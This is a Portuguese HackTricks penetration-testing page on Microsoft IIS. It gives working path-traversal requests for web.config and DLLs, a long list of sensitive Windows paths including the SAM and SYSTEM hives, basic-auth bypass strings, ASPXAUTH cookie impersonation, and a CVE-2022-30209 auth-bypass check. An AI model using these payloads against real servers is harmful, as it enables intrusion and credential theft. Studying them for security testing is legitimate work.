mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
299 lines
16 KiB
Markdown
299 lines
16 KiB
Markdown
# IIS - Internet Information Services
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
Testar extensões de arquivos executáveis:
|
|
|
|
* asp
|
|
* aspx
|
|
* config
|
|
* php
|
|
|
|
## Divulgação de Endereço IP Interno
|
|
|
|
Em qualquer servidor IIS onde você obtenha um 302, você pode tentar remover o cabeçalho Host e usar HTTP/1.0 e dentro da resposta o cabeçalho Location pode apontar para o endereço IP interno:
|
|
|
|
```
|
|
nc -v domain.com 80
|
|
openssl s_client -connect domain.com:443
|
|
```
|
|
|
|
Resposta revelando o IP interno:
|
|
|
|
```
|
|
GET / HTTP/1.0
|
|
|
|
HTTP/1.1 302 Moved Temporarily
|
|
Cache-Control: no-cache
|
|
Pragma: no-cache
|
|
Location: https://192.168.5.237/owa/
|
|
Server: Microsoft-IIS/10.0
|
|
X-FEServer: NHEXCHANGE2016
|
|
```
|
|
|
|
## Executar arquivos .config
|
|
|
|
Você pode fazer upload de arquivos .config e usá-los para executar código. Uma maneira de fazer isso é anexar o código ao final do arquivo dentro de um comentário HTML: [Baixe o exemplo aqui](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
|
|
|
Mais informações e técnicas para explorar essa vulnerabilidade [aqui](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
|
|
|
## Bruteforce de Descoberta IIS
|
|
|
|
Baixe a lista que criei:
|
|
|
|
{% file src="../../.gitbook/assets/iisfinal.txt" %}
|
|
|
|
Ela foi criada mesclando o conteúdo das seguintes listas:
|
|
|
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
|
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
|
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
|
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
|
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
|
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
|
|
|
Use sem adicionar nenhuma extensão, os arquivos que precisam dela já a possuem.
|
|
|
|
## Traversal de Caminho
|
|
|
|
### Vazamento de código fonte
|
|
|
|
Confira o artigo completo em: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
|
|
|
{% hint style="info" %}
|
|
Em resumo, existem vários arquivos web.config dentro das pastas da aplicação com referências a arquivos "**assemblyIdentity**" e "**namespaces**". Com essas informações, é possível saber **onde estão localizados os executáveis** e baixá-los.\
|
|
A partir dos **Dlls baixados**, também é possível encontrar **novos namespaces** nos quais você deve tentar acessar e obter o arquivo web.config para encontrar novos namespaces e assemblyIdentity.\
|
|
Além disso, os arquivos **connectionstrings.config** e **global.asax** podem conter informações interessantes.\\
|
|
{% endhint %}
|
|
|
|
Nas aplicações **.Net MVC**, o arquivo **web.config** desempenha um papel crucial ao especificar cada arquivo binário nos quais a aplicação depende por meio das tags XML **"assemblyIdentity"**.
|
|
|
|
### **Explorando Arquivos Binários**
|
|
|
|
Um exemplo de acesso ao arquivo **web.config** é mostrado abaixo:
|
|
|
|
```markup
|
|
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
|
Host: example-mvc-application.minded
|
|
```
|
|
|
|
Este pedido revela várias configurações e dependências, tais como:
|
|
|
|
* Versão do **EntityFramework**
|
|
* **AppSettings** para páginas da web, validação de cliente e JavaScript
|
|
* Configurações do **System.web** para autenticação e tempo de execução
|
|
* Configurações de módulos do **System.webServer**
|
|
* Associações de montagem do **Runtime** para várias bibliotecas como **Microsoft.Owin**, **Newtonsoft.Json** e **System.Web.Mvc**
|
|
|
|
Essas configurações indicam que certos arquivos, como **/bin/WebGrease.dll**, estão localizados dentro da pasta /bin da aplicação.
|
|
|
|
### **Arquivos do Diretório Raiz**
|
|
|
|
Arquivos encontrados no diretório raiz, como **/global.asax** e **/connectionstrings.config** (que contém senhas sensíveis), são essenciais para a configuração e operação da aplicação.
|
|
|
|
### **Namespaces e Web.Config**
|
|
|
|
Aplicações MVC também definem arquivos **web.config** adicionais para namespaces específicos a fim de evitar declarações repetitivas em cada arquivo, como demonstrado em um pedido para baixar outro **web.config**:
|
|
|
|
```markup
|
|
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
|
Host: example-mvc-application.minded
|
|
```
|
|
|
|
### **Baixando DLLs**
|
|
|
|
A menção de um namespace personalizado sugere a existência de uma DLL chamada "**WebApplication1**" presente no diretório /bin. Em seguida, é mostrada uma solicitação para baixar o **WebApplication1.dll**:
|
|
|
|
```markup
|
|
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
|
Host: example-mvc-application.minded
|
|
```
|
|
|
|
Isso sugere a presença de outros DLLs essenciais, como **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, no diretório /bin.
|
|
|
|
Em um cenário onde um DLL importa um namespace chamado **WebApplication1.Areas.Minded**, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como **/nome-da-área/Views/**, contendo configurações específicas e referências a outros DLLs na pasta /bin. Por exemplo, uma solicitação para **/Minded/Views/web.config** pode revelar configurações e namespaces que indicam a presença de outro DLL, **WebApplication1.AdditionalFeatures.dll**.
|
|
|
|
### Arquivos comuns
|
|
|
|
De [aqui](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
|
|
|
```
|
|
C:\Apache\conf\httpd.conf
|
|
C:\Apache\logs\access.log
|
|
C:\Apache\logs\error.log
|
|
C:\Apache2\conf\httpd.conf
|
|
C:\Apache2\logs\access.log
|
|
C:\Apache2\logs\error.log
|
|
C:\Apache22\conf\httpd.conf
|
|
C:\Apache22\logs\access.log
|
|
C:\Apache22\logs\error.log
|
|
C:\Apache24\conf\httpd.conf
|
|
C:\Apache24\logs\access.log
|
|
C:\Apache24\logs\error.log
|
|
C:\Documents and Settings\Administrator\NTUser.dat
|
|
C:\php\php.ini
|
|
C:\php4\php.ini
|
|
C:\php5\php.ini
|
|
C:\php7\php.ini
|
|
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
|
|
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
|
|
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
|
|
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
|
|
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
|
|
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
|
|
c:\Program Files (x86)\php\php.ini"
|
|
C:\Program Files\Apache Group\Apache\conf\httpd.conf
|
|
C:\Program Files\Apache Group\Apache\conf\logs\access.log
|
|
C:\Program Files\Apache Group\Apache\conf\logs\error.log
|
|
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
|
|
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
|
|
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
|
|
C:\Program Files\FileZilla Server\FileZilla Server.xml
|
|
C:\Program Files\MySQL\my.cnf
|
|
C:\Program Files\MySQL\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
|
|
C:\Program Files\php\php.ini
|
|
C:\Users\Administrator\NTUser.dat
|
|
C:\Windows\debug\NetSetup.LOG
|
|
C:\Windows\Panther\Unattend\Unattended.xml
|
|
C:\Windows\Panther\Unattended.xml
|
|
C:\Windows\php.ini
|
|
C:\Windows\repair\SAM
|
|
C:\Windows\repair\system
|
|
C:\Windows\System32\config\AppEvent.evt
|
|
C:\Windows\System32\config\RegBack\SAM
|
|
C:\Windows\System32\config\RegBack\system
|
|
C:\Windows\System32\config\SAM
|
|
C:\Windows\System32\config\SecEvent.evt
|
|
C:\Windows\System32\config\SysEvent.evt
|
|
C:\Windows\System32\config\SYSTEM
|
|
C:\Windows\System32\drivers\etc\hosts
|
|
C:\Windows\System32\winevt\Logs\Application.evtx
|
|
C:\Windows\System32\winevt\Logs\Security.evtx
|
|
C:\Windows\System32\winevt\Logs\System.evtx
|
|
C:\Windows\win.ini
|
|
C:\xampp\apache\conf\extra\httpd-xampp.conf
|
|
C:\xampp\apache\conf\httpd.conf
|
|
C:\xampp\apache\logs\access.log
|
|
C:\xampp\apache\logs\error.log
|
|
C:\xampp\FileZillaFTP\FileZilla Server.xml
|
|
C:\xampp\MercuryMail\MERCURY.INI
|
|
C:\xampp\mysql\bin\my.ini
|
|
C:\xampp\php\php.ini
|
|
C:\xampp\security\webdav.htpasswd
|
|
C:\xampp\sendmail\sendmail.ini
|
|
C:\xampp\tomcat\conf\server.xml
|
|
```
|
|
|
|
## Erro 404 HTTPAPI 2.0
|
|
|
|
Se você encontrar um erro como o seguinte:
|
|
|
|
![](https://github.com/carlospolop/hacktricks/blob/pt/.gitbook/assets/image%20\(446\)%20\(1\)%20\(2\)%20\(2\)%20\(3\)%20\(3\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(13\).png)
|
|
|
|
Isso significa que o servidor **não recebeu o nome de domínio correto** no cabeçalho Host.\
|
|
Para acessar a página da web, você pode verificar o **Certificado SSL** fornecido e talvez encontrar o nome do domínio/subdomínio lá. Se não estiver lá, pode ser necessário **forçar VHosts** até encontrar o correto.
|
|
|
|
## Vulnerabilidades antigas do IIS que valem a pena procurar
|
|
|
|
### Vulnerabilidade/Recurso do caractere til “\~” do Microsoft IIS - Divulgação de Nome Curto de Arquivo/Pasta
|
|
|
|
Você pode tentar **enumerar pastas e arquivos** dentro de cada pasta descoberta (mesmo que exija Autenticação Básica) usando essa **técnica**.\
|
|
A principal limitação dessa técnica, se o servidor for vulnerável, é que **só pode encontrar até as primeiras 6 letras do nome de cada arquivo/pasta e as primeiras 3 letras da extensão** dos arquivos.
|
|
|
|
Você pode usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para testar essa vulnerabilidade:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
|
|
|
![](<../../.gitbook/assets/image (183).png>)
|
|
|
|
Pesquisa original: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
|
|
|
|
Você também pode usar o **metasploit**: `use scanner/http/iis_shortname_scanner`
|
|
|
|
### Bypass de Autenticação Básica
|
|
|
|
**Burlar** uma autenticação básica (**IIS 7.5**) tentando acessar: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ou `/admin::$INDEX_ALLOCATION/admin.php`
|
|
|
|
Você pode tentar **combinar** essa **vulnerabilidade** com a anterior para encontrar novas **pastas** e **burlar** a autenticação.
|
|
|
|
## Depuração habilitada do ASP.NET Trace.AXD
|
|
|
|
O ASP.NET inclui um modo de depuração e seu arquivo é chamado `trace.axd`.
|
|
|
|
Ele mantém um log muito detalhado de todas as solicitações feitas a uma aplicação ao longo do tempo.
|
|
|
|
Essas informações incluem IPs de clientes remotos, IDs de sessão, todos os cookies de solicitação e resposta, caminhos físicos, informações de código-fonte e potencialmente até nomes de usuário e senhas.
|
|
|
|
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
|
|
|
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
|
|
|
|
## Cookie ASPXAUTH
|
|
|
|
ASPXAUTH usa as seguintes informações:
|
|
|
|
* **`validationKey`** (string): chave codificada em hexadecimal para uso na validação da assinatura.
|
|
* **`decryptionMethod`** (string): (padrão “AES”).
|
|
* **`decryptionIV`** (string): vetor de inicialização codificado em hexadecimal (padrão para um vetor de zeros).
|
|
* **`decryptionKey`** (string): chave codificada em hexadecimal para uso na descriptografia.
|
|
|
|
No entanto, algumas pessoas usarão os **valores padrão** desses parâmetros e usarão como **cookie o e-mail do usuário**. Portanto, se você encontrar um site usando a **mesma plataforma** que está usando o cookie ASPXAUTH e **criar um usuário com o e-mail do usuário que deseja se passar** no servidor sob ataque, você pode ser capaz de usar o **cookie do segundo servidor no primeiro** e se passar pelo usuário.\
|
|
Este ataque funcionou neste [**relato**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
|
|
|
## Bypass de Autenticação do IIS com senhas em cache (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
|
|
|
[Relatório completo aqui](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Um bug no código **não verificava corretamente a senha fornecida pelo usuário**, então um atacante cujo **hash da senha atinge uma chave** que já está no **cache** poderá fazer login como esse usuário.
|
|
|
|
```python
|
|
# script for sanity check
|
|
> type test.py
|
|
def HashString(password):
|
|
j = 0
|
|
for c in map(ord, password):
|
|
j = c + (101*j)&0xffffffff
|
|
return j
|
|
|
|
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
|
|
|
|
# before the successful login
|
|
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
|
HTTP/1.1 401 Unauthorized
|
|
|
|
# after the successful login
|
|
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
|
HTTP/1.1 200 OK
|
|
```
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|